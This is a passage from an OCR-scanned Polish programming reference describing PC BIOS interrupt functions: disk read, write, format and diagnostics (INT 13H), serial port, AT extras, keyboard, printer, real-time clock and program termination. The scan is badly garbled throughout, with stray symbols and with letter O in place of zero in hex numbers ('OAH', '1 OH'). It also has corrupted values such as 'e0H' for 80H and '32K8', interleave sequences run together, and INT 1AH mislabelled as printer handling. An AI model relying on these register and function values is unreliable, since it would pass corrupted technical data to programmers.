blędu ostatniej operacji dyskowej. Ta sama wartoœć znajduje się w zmiennej systemowej 0:0441. Przerwanie : 13H Funkcja 02H Nazwa: Odczyt sektorów Wywoianie: AH = 02H AL - liczba sektorów CX - numer œcieżki i sektora DL - numer napędu (0=A,1=B. ..,80H=dysk twardy #0,81 H=dysk twardy #1 ) DH - numer głowicy ES:B X - adres bufora Powrót: Ustawiony znacznik C: AH - kod blędu Wyzerowany znacznik C: O.K. Opis: Funkcja czyta zawartoœć jednego lub kilku sektorów (jednak nie więcej niż jednš œcieżkę) i zapisuje jš do bufora. W rejestrze CX przekazywane sš numery poczštkowej œcieżki i po- czštkowego sektora w następujšcym formacie: F E D C B A 9 8 7 6 5 4 3 2 1 0 CX: c c c c c c c c C C s s s s s s Te dwa bity sš uż ane jako starszy ,ţ bajt numeru œcież (c - oznacza œcieżkę, s - sektor) *ţ: Przerwanie: 13H Funkcja 03H Nazwa: Zapis sektorów _ Wywofanie: AH = 03H AL - liczba sektorów CX - numer œcieżki i sektora (patrz opis funkcji 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy ţ ţţ' #0,81 H=dysk twardy #1 ) DH - numer głowicy ES:BX - adres bufora z danymi Powróf: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcje zapisuje jeden lub kilka sektorów (nie więcej niż œcieżkę) z bufora na dysk. tr Przerwanie: 13H Funkcja 04H Nazwa: Weryfikacja sektorów Wywołanie: AH = 04H ţrd , AL - liczba sektorów CX - numer œcieżki i sektora (patrz opis funkcji 02H) DL - numer napędu (0=A,1=B. . . ,80H=dysk twardy . ,k., #0,81 H=dysk twardy #1 ) 159 DH - numer głowicy ES:BX - adres butora dla operacji Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcja weryfikuje jeden lub kilka sektorów sprawdzajšc, czy nie występuje w nich błšd CRC. Przerwanie: 13H Funkcja 05H Nazwa: Formatowanie sektorów Wywołanie: AH = 05H AL - liczba sektorów CX - numer œcieżki i sektora (patrz opis funkcji 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1 ) DH - numer głowicy ES:BX - adres bufora z deskryptorem dysku Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcja służy do nisko-poziomowego tormatowania œcieżki. Formatowanie to niszczy wszelkie dane na œcieżce. Postać deskryptora jest różna w zależnoœci od typu dysku: Dyskietka - 4 bajty dla każdego formatowanego sektora na œcieżce zawierajšce numer œcieżki, głowicę, numer sektora, rozmiar sektora (0=128,1=256,2=512,3=1024). Dysk twardy AT - 2 bajty dla każdego formatowanego sektora na œcieżce - znacznik i numer sektora. Dysk twardy XT - Nie potrzeba danych w deskryptorze, rejestr AL zawiera wartoœc przeplotu (ang interleave - od 1 do 16). Uwagi: Sektory na jednej œcieżce dysku twardego nie sš ponumerowane po kolei, Ze względu na na szybkoœć procesora, który po przeczytaniu sektora nie zdšżyłby zatrzymać głowicy dys- ku twardego na następnym, sšjak gdyby podzielone na serie. Liczba tych ser nosi nazwę przeplotu. Przykładowo 17 sektorów dysku twardego (standardowa wielkoœć œcieżki) ułożo- nych przy przeplocie 3:1 miałoby kolejnoœć: 1713281439154101651117612 zaœ przy przeplocie 2:1 kolejnoœć 1102113124135146157168179 Im większy przeplot tym mniejsza szybkoœć pracy dysku twardego. Zmniejszenie przeplotu jest możliwe jednak tylko przy szybkim procesorze. Dlatego w większoœci dysków XT prze- plot wynosi 3:1, natomiast 386 i szybkich AT 1:1. Przerwanie: 13H Funkcja 08H Nazwa: Pobranie parametrów napędu Wywołanie: AH = 08H DL - numer napędu Powrót: CX - maksymalny numer œcieżki i sektora (p. funkcja 02) DL - liczba dysków twardych kontrolowanych przez pierwszy sterownik DH - maksymalny numer głowicy Opis: Funkcja zwraca informacje o dysku czerpišc je z tablicy w ROM-BIOS dla typu dysku zdefi- niowanego w pamięci CMOS. 160 Przerwanie: 13H Funkcja 09H Nazwa: Inicjalizacja tabel parametrów dyskowych Wywolanie: Brak Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcja inicjalizuje tabele parametrów dyskowych (przerwania 41 H i 46H). Wywoluj jš zaw- sze w przypadku zmian w tych tabelach, aby BIOS został poinformowany o tych zmianach. Uwagi: Komputer klasy XT może pracować z dwoma dyskami twardymi, ale oba muszš być obsłu- giwane przez jednš tabelę parametrów (przerwanie 41 H). .D ţ t , Przerwanie: 13H Funkcja OAH Nazwa: Odczyl sektorów z korekcjš blędów Wywolanie: AH = OAH AL - liczba sektorów CX - numer œcieżki i sektora (p. funkcja 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1 ) DH - numer głowicy ES:BX - adres bufora Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcja czyta zawartoœć jednego lub kilku sektorów (jednak nie więcej niż jednš œcieżkę) i zapisuje jš do bufora. Sektory sš 512-bajtowe + 4 bajty ECC (Error Corection Code - ko- rekcja błędów) Uwagi: Algorylm ECC służy do odtwarzania w niektórych sytuacjach utraconych danych. Jeœli blę- dy w sektorze nie sš zbyl rozległe, to BIOS automatycznie na podstawie ECC może odtwo- rzyć poprawne dane. Przerwanie: 13H Funkcja OBH Nazwa: Zapis sektorów z korekcjš blędów Wywołanie: AH = OBH AL - liczba sektorów CX - numer œcieżki i sektora (p. funkcja 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1 ) DH - numer głowicy ES:BX - adres bufora z danymi Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcje zapisuje jeden lub kilka sektorów (nie więcej niż œcieżkę) z bufora na dysk. Sekto- ry sš 512-bajtowe + 4 bajty ECC (p. funkcja OAH). ; " l61 Przerwanie: 13H Funkcja OCH Nazwa: Szukanie œcieżki Wywofanie: AH = OCH CX - numer œcieżki i sektora (p. funkcja 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1 ) DH - numer głowicy Powrót: Ustawiony znacznik C: AH - kod bfędu Wyzerowany znacznik C: O.K. Opis: Funkcja przesuwa głowicę do œcieżki o numerze w CX. Przerwanie: 13H Funkcja ODH Nazwa: Alternatywna inicjalizacja dysku Wywolanie: AH = ODH DL - dysk Powrót: Brak Opis: Funkcja inicjalizuje sterownik dysku. Znaczenie parametru przekazywanego w rejestrze DL jest takie samo jak dla funkcji OOH. Przerwanie: 13H Funkcja OEH Nazwa: Odczyt sektorów dla AT Wywołanie: AH = OEH AL - liczba sektorów CX - numer œcieżki i sektora (p. funkcja 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1 ) DH - numer głowicy ES:BX - adres bufora Powrót: Ustawiony znacznik C: AH - kod blędu Wyzerowany znacznik C: O.K. Opis: Funkeja odczytuje jeden lub kilka sektorów dla komputera klasy AT Przerwanie: 13H Funkcja OFH Nazwa: Zapis sektorów dla AT Wywofanie: AH = OFH AL - liczba sektorów CX - numer œcieżki i sektora (p. funkcja 02H) DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1) DH - numer głowicy ES:BX - adres bufora z danymi 162 Powrót: Ustawiony znacznik C: AH - kod btędu Wyzerowany znacznik C: O.K. ţ ;h:'ţ; Opis: Funkcja zapisuje jeden lub kilka sektorów dla komputera klasy AT. Przerwanie: 13H ;-ů; Funkcja 1 OH Nazwa: Pytanie o gotowoœć dysku Wywotanie: AH =1 OH DL - numer napędu (0=A,1=B...) Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcja sprawdza, czy napęd o numerze podanym w DL jest gotowy do operacji dysko- wych.(Czy sš zamknięte drzwiczki od stacji dyskietek). Przerwanie: 13H _ Funkcja 11 H Nazwa: Rekalibracja dysku Wywołanie: AH =11 H DL - numer napędu (0=A,1=B...,80H=dysk twardy #0,81 H=dysk twardy #1) Powrót: Ustawiony znacznik C: AH - kod błędu Wyzerowany znacznik C: O.K. Opis: Funkcja dokonuje rekalibracji dysku, którego numer jest przekazany w rejestrze DL. Przerwanie: 13H Funkcja 12H Nazwa: Diagnostyka pamięci RAM kontrolera AT Wywolanie: AH =12H 'ţi" Powrót: AH - kod błędu Opis: Funkcja sprawdza, czy w pamięci RAM kontrolera dysków komputera klasy AT nie nastšpi- ły uszkodzenia. Przerwanie: 13H Funkcja 13H Nazwa: Diagnostyka napędów AT Wywołanie: AH =13H Powrót AH - kod błędu Opis: Funkcja sprawdza, czy w napędzie dysków komputera klasy AT nie nastšpiło uszkodzenie. Przerwanie: 13H Funkcja 14H Nazwa: Wewnętrzna diagnostyka sterownika Wywotanie: AH =14H 163 Powrót: AH - kod błędu Opis: Funkcja sprawdza, czy w sterowniku dysków komputera nie nastšpiło uszkodzenie. Przerwanie: 13H Funkcja 15H Nazwa: Pyfanie o typ dysku AT Wywolanie: AH =15H DL - numer napędu (0=A,1=B... ,80H=dysk twardy #0,81 H=dysk twardy #1) Powróf: AH = typ dysku 0 - nie znaleziono napędu o numerze podanym w DL 1 - dyskietka, nie wymieniana 2 - dyskietka, prawdopodobnie wymieniona 3 - dysk twardy CX:DX - liczba 512 bajtowych sektorów. Opis: Funkcja zwraca informacje o typie dysku komputera klasy AT. Przerwanie: 13H Funkcja 16H Nazwa: Pytanie o wymianę dysków AT. Wywołanie: AH =16H Powrót: AH = 0 - w żadnej stacji nie wymieniano dyskietki t 6 - nastšpiła wymiana dyskietek DL - numer stacji (0=A,1=B,...) Opis: Funkcja informuje o tym, czy była wymieniana dyskietka, w stacji dysków komputera klasy ; AT (tzn. czy były otwierane drzwiczki w stacji). J Przerwanie: 13H Funkcja 17H Nazwa: Ustalenie typu dyskietki Wywolanie: AH =17H AL = typ dyskietki 1- dyskietka 360K8 w stacji 360K8 2 - dyskietka 360K8 w sfacji 1.2MB , 3 - dyskietka 1.2MB w stacji 1.2MB DL - numer stacji dyskietek (0=A,1=B) Powrót: Brak Opis: Funkcja ustala typ dyskietki znajdujšcej się aktualnie w stacji o numerze przekazanym w DL. Uwagi: Używaj tej funkcji przed tormatowaniem. Przerwanie: 14H Nazwa: Obsługa złšcza szeregowego Opis: Przerwanie składa się z kilku funkcji. Przekazanie w rejestrze AH odpowiedniego numeru powoduje wywolanie funkcji. 164 ` ţm: " Przerwanie: 14H Funkcja OOH Nazwa: Inicjalizacja złšcza Wywofanie: AH = OOH AL - parametry inicjalizacji DL - namer portu (0 lub 1 ) Powrót: AH - status portu (p. funkcja 03) Opis: Funkcja inicjalizuje port złšcza szeregowego RS-232. W rejestrze AL przekazywane sš pa- rametry inicjalizacji wg następujšcego formatu: 7 6 5 4 3 2 1 0 szybkoœć parzyst stp długoœć długoœć słowa.10=7 bitów;11=8 bitów ţ bity stopu 0=1;1=2; kontrola parzystoœci. ţ d x0=brak; 01=nieparz.;11=parz. Szybkoœć w Boud-ach: 000=110;100=1200 001=150;101=2400 010=300;110=4800 011=600;111=9600 Przerwanie: 14H Funkcja 01 H Nazwa: Przesłanie znaku Wywofanie: AH = O1 H AL - kod znaku DX - numer portu (0 lub 1 ) Powrót: AH - status portu (p. funkcja 03) Opis: Funkcja przesyła jeden znak wybranym złšczem RS-232 Przerwanie: 14H Funkcja 02H ;F Nazwa: Odbiór jednego znaku :ţ`ţ : Wywotanie: AH = 02H _ DX - numer portu (0 lub 1 ) Powrót: AH = 0 - O.K. , w przeciwnym razie blšd AL - kod odebranego znaku _ Opis: Funkcja odbiera jeden znak z wybranego złšcza RS-232 Przerwanie: 14H Funkcja 03H Nazwa: Pytanie o status portu Wywołanie: AH = 03H DX - numer portu (0 lub 1 ) Powrót: AX - status portu 165 Opis: Funkcja zwraca informacje o aktualnym stanie wybranego złšcza RS-232. Znaczenie bitów przekazywanych w rejestrze AX jest następujšce: AH - Status lin 7:przekroczenie czasu 6: pusty rejestr przesuwu 5: pusty rejestr bufora 4: wykryto przerwę 3: błšd ramki 2: błšd parzystoœci 1: błędna liczba znaków 0: gotowoœć do operacji AL= Status modemu 7: obecnoœć sygnału na lin 6: żšdanie odbioru 5: gotowoœć do odbioru 4: gofowoœć do nadawanie 3: zmiana znacznika sygnału na lin 2: zmiana znacznika żšdania odbioru 1: zmiana znacznika gotowoœci do odbioru 0: zmiana znacznika gotowoœci do nadawania Przerwanie: 15H Nazwa: Dodatkowe funkcje AT Opis: Przerwanie składa się z kilkunastu funkcji. Przekazanie w rejestrze AH odpowiedniego nu- meru powoduje wywolanie funkcji. Funkcje o numerach od 0 do 3 dotyczš obsługi magneto- fonu kasetowego jako pamięci zewnętrznej. Myœlę, że się nie obrazisz, jeœli nie umieszczę tutaj ich opisu. ţ Przerwanie: 15H Funkcja e0H Nazwa: Otwarcie kanału dla procesu Wywolanie: AH = 80H BX - identyfikator urzšdzenia (p. funkcja 90H) CX - identyfikator procesu Powrót: Brak Opis: Funkcja otwiera kanał do urzšdzenia dla procesu. ů Przerwanie: 15H Funkcja 81 H Nazwa: Zamknięeie kanału dla procesu Wywolanie: AH = 81 H BX - identyfikator urzšdzenia (p. funkcja 90H) CX - identyfikator procesu Powrót: Brak Opis: Funkcja zamyka kanał do urzšdzenia dla procesu. 166 _ iţ , Przerwanie: 15H Funkcja 8 ţ'd ţţ - ' ,Fů i Nazwa: Zakoriczenie programu obsługi urzšdzenia , "ţţ Wywolanie: AH = 82H BX - identyfikator urzšdzenia (p. funkcja 90H) Powrót: Brak Opis: Funkcja koriczy program obstugi urzšdzenia. :,=`:g : Przerwanie: 15H Funkcja 83H Nazwa: Czekanie na zdarzenie Wywotanie: AH = 83H AL = 0 - ustawienie okresu ES:BX - adres 1 bajtowego bufora CX:DX - liczba mikrosekund pozostałych do czekania. 1- rezygnacja z oczekiwania Powrót: Brak Opis: Funkcja ustala okres okres oczekiwania na zdarzenie lub rezygnuje z oczekiwania. W przy- . padku ustawienia oczekiwania w rejestrach CX:DX należy podać liczbę mikrosekund. Po uptywie tej liczby bit 7 bufora wskazywanego przez ES:BX jest ustawiany. Przerwanie: 15H Funkcja 84H Nazwa: Pytanie o stan joysticka Wywolanie: AH = 84H DX = 0 - pytanie o ustawienie przełšczników 1- pytanie o pozycję Powrót: AL - ustawienie przełšczników (bity 7-4, jeœli DX=0) AX - wartoœć A(X) ţeœli DX=1 ) BX - wartoœć A(Y) Qeœli DX=1 ) CX - wartoœć B(X) (jeœli DX=1 ) DX - wartoœć B(Y) Qeœli DX=1 ) Opis: Funkcja obsługuje joystick. Zobacz również opis portu joysticka. . "= Przerwanie: 15H Funkcja 85H Nazwa: Obsługa klawisza Sys Req Wywołanie: AH = 85H Powrót: AL = 0 - klawisz wciœnięty 1- klawisz zwolniony Opis: Funkcja obsługuje klawisz Sys Req. W praktyce nie robi ona nic, jednak w zamyœle funkcję tę miał obsługiwać system operacyjny i podejmować odpowiedniš akcję w zależnoœci od te- go, czy klawisz jest naciœnięty, czy zwalniany. 167 Przerwanie: 15H Funkcja 86H Nazwa: Pusta pętla Wywołanie: AH = 86H CX:DX - liczba mikrosekund (CX - starszy bajl) Powrót: Brak Opis: Funkcja nie robi nic poza tym, że tnva dokładnie tyle czasu, ile jest podane w rejestrach CX:DX. Przerwanie: 15H Funkcja 87H Nazwa: Przesłanie bloku górnej pamięci Wywołanie: AH = 87H ES:DI - adres GDT CX - liczba 16-bitowych słów do przesłania (max 8000H) Powrót: Ustawiony znacznik C: AH = kod błędu 0-O.K. 1- błšd parzystoœci pamięci 2 - wystšpiło przerwanie syfuacji wyjafkowej 3 - blędny adres docelowy Opis: Funkcja przesyła blok do 32K8 z i do górnej (powyżej 1 MB) pamięei komputers. Praktycz- nie jest to jedyny sposób dosfępu do tej pamięci z punktu widzenia przeciętnego programi- sfy. W ES:DI przekazywany jest adres 32-bajtowego deskryptora GDT (Global Descripfor Table). Z Twojego punktu widzenia w deskrypforze tym ważne sš pola 12H - 24-bajtowy adres bioku do przeniesienia (w kolejnoœci 3-2-1 bajt adresu),15H - wartoœć 93H (prawo odczytu i zapisu),1AH - adres docelowy,1 DH - wartoœć 93H. W pozostałe pola powinna być wpisana wartoœć 0. Uwagi: Podczas przesyłania danych wyłšczone sš przerwania. Unikaj więc przesyłania, przy dzia- łajšcych równolegle asynchronicznych procesach komunikacyjnych. Przerwanie: 15H Funkcja 88H Nazwa: Pyfanie o rozmiar górnej pamięci Wywofanie: AH = 88H Powrót: AX - wielkoœć górnej pamięci w KB Opis: Funkcja zwraca rozmiar górnej (powyżej 1 MB) pamięci ' Przerwanie: 15H Funkcja 89H Nazwa: Przejœcie do trybu wirtualnego procesora 80286 Wywołanie: AH = 89H BH - ofset w tablicy przerwari adresów obslugi przerwari IRQ 0 - IRQ 7 BL - ofset w tablicy przerwari adresów obsługi przerwari IRQ 8 - IRQOF ES:SI - adres tablicy deskryptorów Powrót: AH = 0 - procesor przeszedł do trybu wirtualnego 168 Opis: Funkcja inicjalizuje pracę procesora 80286 (i wyższych) w trybie z ochronš danych. Fun- kcja zmienia wszystkie rejestry segmentów: W tablicy deskryptorów wskazywanej przez ES:BX w polach 1AH, 22H, 2AH, 32H przekazywane sš nowe wartoœci dla rejestrów . ţr DS,ES,SS,CS. Uwagi: Nie ma bezpoœredniego sposobu na wyjœcie z trybu wirtualnego. Przerwanie: 15H ţ -:x Funkcja 90H Nazwa: Pętla oczekiwania na urzšdzenia Wywotanie: AH = 90H AL = identyfikator urzadzenia `ţ'' ;J OOH - dysk twardy O1 H - stacja dysków 02H - klawiatura 80H - sieć ES:BX - blok kontrolny w sieci OFDH - start silnika napędu dysków OFEH - drukarka Powrót: Brak Opis: To przenvanie powinno być wywoływane, przy oczekiwaniu na pracujšce urzšdzenie. W praktyce nie robi ono nic, ale teoretycznie może być wykorzystane. Przerwanie: 15H Funkcja 91H Nazwa: Zakoriczenie obsługi przerwania przez program obsługi urzšdzenia : K ` Wywolanie: AH = 91 H AL - identyfikator urzšdzenia Powrót: Brak Opis: Funkcja wraca bez żadnej akcji. Chodzi o to, aby reszta systemu dowiedziała się, że urzš- ' dzenie jest już wolne. Przerwanie: 16H Nazwa: Obsługa klawiatury Opis: Przerwanie składa się z kilkunastu funkcji. Przekazanie w rejestrze AH odpowiedniego nu- meru powoduje wywotanie funkcji. Uwagi: Kody zwracane przez poniższe funkcje sšopisane w osobnych rozdziałach. Natomiast opis stanu klawiatury ma format taki sam jak zmienne systemowe 0:0417 i 0:0418. Przerwanie: 16H Funkcje OOH,10H Nazwa: Odczyt znaku Wywolanie: AH = OOH lub 10H Powrót: AL - kod ASCII AH - rozszerzony kod ASCII (jeœli AL=0) - kod klawiatury (w przeciwnym wypadku) 169 Opis: Funkcja OOH czeka na naciœnięcie klawisza i zwraca jego wartoœć. Funkcja 10H robi to sa- mo dla klawiatury 101-klawiszowej. Przerwanie: 16H ; Funkcje 01H,11H ; Nazwa: Odczyt bufora Wywofanie: AH = 01 H lub 11 H Powrót: Ustawiony znacznik Z: - W buforze nie ma znaków Wyzerowany znacznik Z: AX - znak (p.funkcja OOH) Opis: Funkcja 01 H odczytuje znak znajdujšcy się na poczštku bufora klawiatury, nie usuwajšc go z tego bufora. Funkcja 11 H robi to samo dla klawiatury 1 O1-klawiszowej. Przerwanie: 16H Funkcje 02H,12H Nazwa: Pytanie o stan klawiatury Wywotanie: AH = 02H lub 12H Powrót: AL - stan klawiatury (p. zmienna systemowa 0:417) Opis: Funkcja 02H zwraca opis stanu klawiatury (Stan przefšczników Caps Lock, Num Lock, Scroll Lock, wciœnięty Shift itd.). Funkcja 12H robi to samo dla klawiatury 101-klawiszowej. Przerwanie: 16H Funkcja 03H Nazwa: Ustawienie czasu miedzy powtórzeniami i opóŸnienia Wywołanie: AH = 03H BL - czas między powtórzeniemi BH = opóŸnienie Powrót: Brak Opis: Funkcja ustawia czas między powtórzeniami klawiszy i opóŸnienie (Czas przed rozpoczę- ciem powtarzania). Wartoœci przekazywane w rejestrze BL oznaczajš odpowiednio: 0=30 powtórzeri/sekundę,1=26,...,l FH=2. Wartoœci w BH oznaczajš0=1/4s,1=1I2s, 2=3/4s, 3=1s. Przerwanie: 16H Funkcja 05H , Nazwa: Umieszczenie znaku w buforze klawiatury Wywołanie: AH = 05H CL - kod ASCII CH - kod klawiatury Powrót: AL = powodzenie operacji 0 - sukces 1- butor przepełniony Opis: Funkcja umieszcza w buforze klawiatury wartoœci odpowiadajšce naciœnięciu klawisza o ko- dzie ASCII podanym w CL i kodzie klawiatury podanym w CH. Jeœli kod klawiatury nie zga- dza się z kodem ASCII, funkcja umieszcza wartoœci w buforze na podstawie tego drugiego. . ~Ÿ 170 Przerwanie: 17H Nazwa: Obsługa drukarki Opis: Przerwanie realizuje kilkunaœcie funkcji. Przekazanie w rejestrze AH odpowiedniego nume- ţ ţ` ru powoduje wywofanie funkcji. Przerwanie: 17H Funkcja OOH Nazwa: Wydruk znaku Wywolanie: AH = OOH AL - znak do wydrukowania DX - numer drukarki (0,1,2) Powrót: AL - kod stanu drukarki (p. funkcja 2) Opis: Funkcja powoduje wydrukowanie znaku o kodzie ASCII przekazanym w rejestrze AL. Przerwanie: 17H Funkcja 01 H Nazwa: Inicjalizacja drukarki Wywotanie: AH = O1 H DX - numer drukarki (0,1,2) Powrót: AL - kod stanu drukarki (p. funkcja 2) Opis: Funkcja inicjalizuje port drukarki. Przerwanie: 17H Funkcja 02H ţt Nazwa: Pytanie o kod stanu drukarki Wywofanie: AH = 02H DX - numer drukarki (0,1,2) Powrót: AL - kod stanu drukarki Opis: Funkcja zwraca kod stanu drukarki. Poszczególne bity majš następujšce znaczenie: ţ ~r= 7 6 5 4 3 2 1 0 ţ przekroczenie czasu - niemożnoœć wydrukowania . ţ`: nie używane błšd wejœcia/wyjœcia wtšczona brak papieru potwierdzenie nie zajęta . : . Przerwanie: 18H Nazwa: Uruchomienie BASICa z ROM Wywotanie: Brak Powrót: Brak 171 Opis: W oryginalnych komputerach IBM PC w pamięci ROM był umieszczany interpreter BASI- Ca, który był wczytywany, gdy system nie mógł być załadowany z dyskietki. W klonach przerwanie to wykorzystywane jest do przekazania sterowania modufom ROM - BIOS (naj- częœciej jest to komunikat o braku dysku). Przerwanie: 19H Nazwa: Goršcy restart systemu Wywofanie: Brak Powrót: Brak Opis: Przerwanie jest wykonywane podczas startu systemu po POST. ţaduje ono system opera- cyjny z dysku lub dyskietki, a jeœli nastšpi bfšd dyskietki, to oddaje sterowanie do przerwa- nia 18H. Uwagi: Jeœli chcesz to przerwanie wykorzystywać w programie do restartu systemu, to musisz przed jego wywolaniem umieœcić w zmiennej 0:0472 wartoœć 1234H. Przerwanie: 1 AH Nazwa: Obsfuga drukarki Opis: Przerwanie skfada się z kilku funkcji. Przekazanie w rejestrze AH odpowiedniego numeru powoduje wywofanie funkcji. Uwagi: Zegar systemowy jest modyfikowany co 55ms przez przerwanie zegarowe 8H. Ponadto w komputerach klasy AT zainstalowany jest zegar czasu rzeczywistego (RTC). Dane do te- go zegara sš podawane w kodzie BCD (patrz opis CMOS). Przerwanie: 1AH Funkcja OOH Nazwa: Odczyf zegara systemowego Wywofanie: AH = OOH Powrót: AL = 0 - nie było przepełnienia w cišgu ostatniej doby CX:DX - licznik Opis: Funkcja podaje aktualnš zawartoœć zegara systemowego. Uwagi: Ponieważ zegar jest modyfikowany co okolo 55ms, jedna jednostka licznika odpowiada 65535/1193180 s. Po przeliczeniu daje to w przybliżeniu: sekunda -18 jednostek minuta -1092 jednostki godzina - 65543 jednostki , doba -1573040 jednostek Przerwanie: 1 AH , Funkcja 01H Nazwa: Ustawienie zegara systemowego Wywofanie: AH = O1 H CX:DX - nowa wartoœć licznika zegara systemowego (p. funkcja 00) Powrót: Brak Opis: Funkcja ustala nowš wartoœć zegara systemowego. 172 Przerwanie: 1 AH Funkcja 02H Nazwa: Pytanie o czas RTC AT Wywolanie: AH = 02H Powrót: Ustawiony znacznik C: - zegar nie pracuje Wyzerowany znacznik C: CH - godziny w kodzie BCD CL - minuly w kodzie BCD DH - sekundy w kodzie BCD Opis: Funkcja podaje aktualny czas zegara czasu rzeczywistego RTC (patrz opis CMOS). Przerwanie: 1AH Funkcja 03H Nazwa: Ustawienie czasu RTC AT Wywolanie: AH = 03H CH - godziny w kodzie BCD CL - minuty w kodzie BCD DH - sekundy w kodzie BCD DL = 1- czas letni Powrót: Brak Opis: Funkcja ustala czas RTC. Przerwanie: 1 AH Funkcja 04H Nazwa: Odczyt daty RTC AT Wywolanie: AH = 04H Powrót: Ustawiony znacznik C: - zegar nie pracuje Wyzerowany znacznik C: CH - wiek w kodzie BCD CL - rok w kodzie BCD DH - miesišc w kodzie BCD DL - dzieri w kodzie BCD "= Opis: Funkcja odczytuje datę RTC Przerwanie: 1AH ' !f Funkcja 05H Nazwa: Ustawienie daty RTC AT Wywotanie: AH = 05H CH - wiek w kodzie BCD CL - rok w kodzie BCD DH - miesišc w kodzie BCD DL - dzieri w kodzie BCD Powrót: Brak Opis: Funkcja ustawia datę RTC Przerwanie: 1AH Funkcja 06H Nazwa: Ustawienie budzika RTC AT Wywołanie: AH = 06H CH - godziny w kodzie BCD CL - minuty w kodzie BCD DH - sekundy w kodzie BCD Powrót: Ustawiony znacznik C: - zegar nie pracuje lub budzik już nastawiony Wyzerowany znacznik C: O.K. Opis: Funkcja ustawia budzik RTC Uwagi: Zegar RTC ma możliwoœć ustawiania budzika. W wybranym czasie zostanie uruchomione przerwanie 4AH. Najczęœciej jest to sygnał dŸwiekowy. Budzik może być jednorazowo nas- tawiony tylko na jeden alarm. Przerwanie: 1 AH Funkcja 07H Nazwa: Wyłšczenie budzika RTC AT Wywofanie: AH = 07H Powrót: Brak Opis: Funkcja wyfţcza budzik RTC PrzerWanie: 1BH t : Nazwa: CTRL-BREAK Wywofanie: Brak Powrót: Brak Opis: Przerwanie jest wywofywane przez BIOS w przypadku nacisnięcia klawiszy CTRL-BREAK. Przerwanie fo obsługuje DOS, który umieszcza informacje o naciœnięciu w swoim wewnę- trznym znaczniku znajdujšcym się pod adresem 0:0471.Ze znacznika tego korzysta potem DOS-owskie przerwanie 23H Przerwanie: 1 CH Nazwa: Przerwanie zegarowe użytkownika Wywofanie: Brak Powrót: Brak Opis: Przerwanie to jest wywoływane przy każdej modyfikacji zegara systemowego (co 55ms) przez przerwanie zegarowe 08H. Poczštkowo procedura obsługi zawiera tylko instrukcję , IRET. Co będzie robić, zależy tylko od inwencji programisfy. Uwagi: Przechwytujšc to przerwanie musisz pamietać o tym, że jest ono wywofywane z wnęfrza przerwanie sprzętowego o poziomie 0(IRQ 0), dlatego inne przerwania sprzętowe nie będš przyjmowane, dopóki nie zostanie przekazany do kontrolera 8259A sygnał o jego zakori- ezeniu. Wišże się to miedzy innymi z niemożnoœciš czytania z klawiatury w trakcie jego trwania. Większoœć protesjonalnych programów jako przerwanie zegarowe wykorzystuje bezpoœrednio przerwanie sprzętowe 08H. 174 Przerwanie: 1 DH Nazwa: Tabela inicjalizacji trybów wyœwietlania Wywoianie: Brak Powrót: Brak Opis: Przerwanie nie ma żadnego programu obsługi. Wskazuje ono adres w pamięci tabeli inicja- lizacji trybów wyœwietlania. Tabela jest wykorzystywana przez przerwanie 1 OH przy zmia- nie zmianie trybów wyœwietlania, w celu odpowiedniego ustawienia ekranu. Jej format jest następujšcy ( Patrz również porty EGA/CGA - znaczenie rejestrów): Offs Rozmiar Zawartoœć +0 1 OH wartoœci rejestrów 6845 w trybie 40*25 +1 OH 1 OH wartoœci rejestrów 6845 w trybie 80*25 ` ~' +20H 1 OH wartoœci rejestrów 6845 w trybach graficznych +30H 10H wartoœci rejestrów 6845 w trybie 80*25 monochromatycznym `;4 +40H 2 rozmiar strony (tryb 40x25) +42H 2 rozmiar strony (tryb 80x25 ) +44H 2 rozmiar strony (tryb graficzny - niska rozdzielczoœć) +46H 2 rozmiar strony (tryb graficzny - wysoka rozdzielczoœć) ţ -" +48H 8 liczba kolumn w każdym z 8 trybów +50H g wartoœci rejestru wyboru trybu (port 3DBH) dla każdej strony wartoœć dla bieżšcego t zn ţd ţ i wzmi nn ţ : 4 . Przerwanie: 1 EH , , Nazwa: Tablica parametrów sterownika dysków Wywołanie: Brak Powrót: Brak Opis: Przerwanie nie ma żadnego programu obsługi. Wskazuje ono adres tablicy parametrów sterownika dysków. Struktura ta jest wykorzystywana przez BIOS przy wykonywaniu opera- cji dyskowyeh przerwania 13H. Poczštkowo znajduje się ona w pamięci ROM, jednak moż- liwe jest utworzenie nowej tablicy w RAM w celu zmiany niektórych parametrów obsługi dyskietki. Poszczególne bajty majš następujšce znaczenie: Yţ 175 +9 czas umieszczania głowicy (w milisekundach) ţ +OAH czas startu silnika (liczony w ll8s) Przerwanie: 1FH Nazwa: Tablica wzorów znaków Wywolanie: Brak Powrót: Brak Opis: To przerwanie nie ma żadnej procedury obsługi. Wskazuje tylko, na tablicę wzorów (matry- cę) znaków o kodach 80H - FFH. Możesz dzięki tej tablicy zainstalować w pamieci RAM wzory tych znaków dla dowolnej karty graficznej. Sposób definiowania znaków jest przed- stawiony przy opisie zmiennych karty EGA. Uwagi: Tylko górna połowa znaków może być detiniowana przy pomocy tego wektora. Definiowa- nie catego zestawu znaków jest możliwę tylko dla karty EGA i kompatybilnych w górę. `; Przerwanie: 20H Nazwa: Zakończenie programu Wywołanie: CS - segment zawierajšey PSP Powrót: Brak Opis: Przerwanie jest używane do zakończenia pracy programu, zwalniania pamieci, zamykania otwartych plików i oddawania kontroli procesowi macierzystemu. Nie sš zwalniane obszary pamięci przydzielone dodatkowo w trakcie pracy programu. Przed wywolaniem przerwania 